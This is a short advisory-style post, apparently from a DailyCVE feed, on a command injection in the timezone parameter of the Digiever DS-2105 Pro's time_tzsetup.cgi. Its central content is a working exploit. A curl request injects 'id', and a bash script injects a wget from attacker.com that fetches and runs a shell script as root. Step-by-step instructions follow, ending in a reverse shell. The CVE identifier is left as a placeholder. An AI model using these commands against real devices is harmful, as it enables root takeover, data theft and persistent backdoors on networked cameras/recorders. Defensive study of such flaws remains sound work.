Digiever DS-2105 Pro, Command Injection, CVE-2024-XXXXX (Critical)

Listen to this Post

How the mentioned CVE works:

The vulnerability resides in the `time_tzsetup.cgi` CGI script on the Digiever device’s web interface. This script is responsible for configuring the system’s timezone. It takes user-supplied input from the HTTP POST parameter, such as timezone, without performing proper sanitization or validation. An attacker can craft a malicious HTTP request containing shell metacharacters (e.g., semicolons, backticks, or pipe symbols) within the `timezone` parameter. When the script processes this input, it concatenates the unsanitized data directly into a system command string, which is then executed with root privileges via a call to `system()` or a similar function. This allows the attacker to break out of the intended command and execute arbitrary operating system commands on the underlying embedded Linux system, leading to full device compromise, data theft, or creation of a persistent backdoor.

DailyCVE Form:

Platform: Digiever DS-2105 Pro
Version: 3.1.0.71-11
Vulnerability: Command Injection
Severity: Critical
Date: 2024-04-06

Prediction: Unsupported, no patch.

What Undercode Say:

curl -X POST http://<target>/cgi-bin/time_tzsetup.cgi --data "timezone=GMT;id"
!/bin/bash
TARGET=$1
curl -s -X POST "http://${TARGET}/cgi-bin/time_tzsetup.cgi" -d "timezone=GMT;wget http://attacker.com/shell.sh -O /tmp/shell.sh; chmod +x /tmp/shell.sh; /tmp/shell.sh"

How Exploit:

1. Attacker identifies target device.

2. Crafts POST request to `/cgi-bin/time_tzsetup.cgi`.

3. Injects command in `timezone` parameter.

4. Server executes command as root.

5. Attacker gains reverse shell.

Protection from this CVE:

Input validation.

Command sanitization.

Network segmentation.

Disable unused services.

Impact:

Full device compromise.

Unauthorized data access.

Permanent backdoor installation.

Network pivot point.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: www.cve.org
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top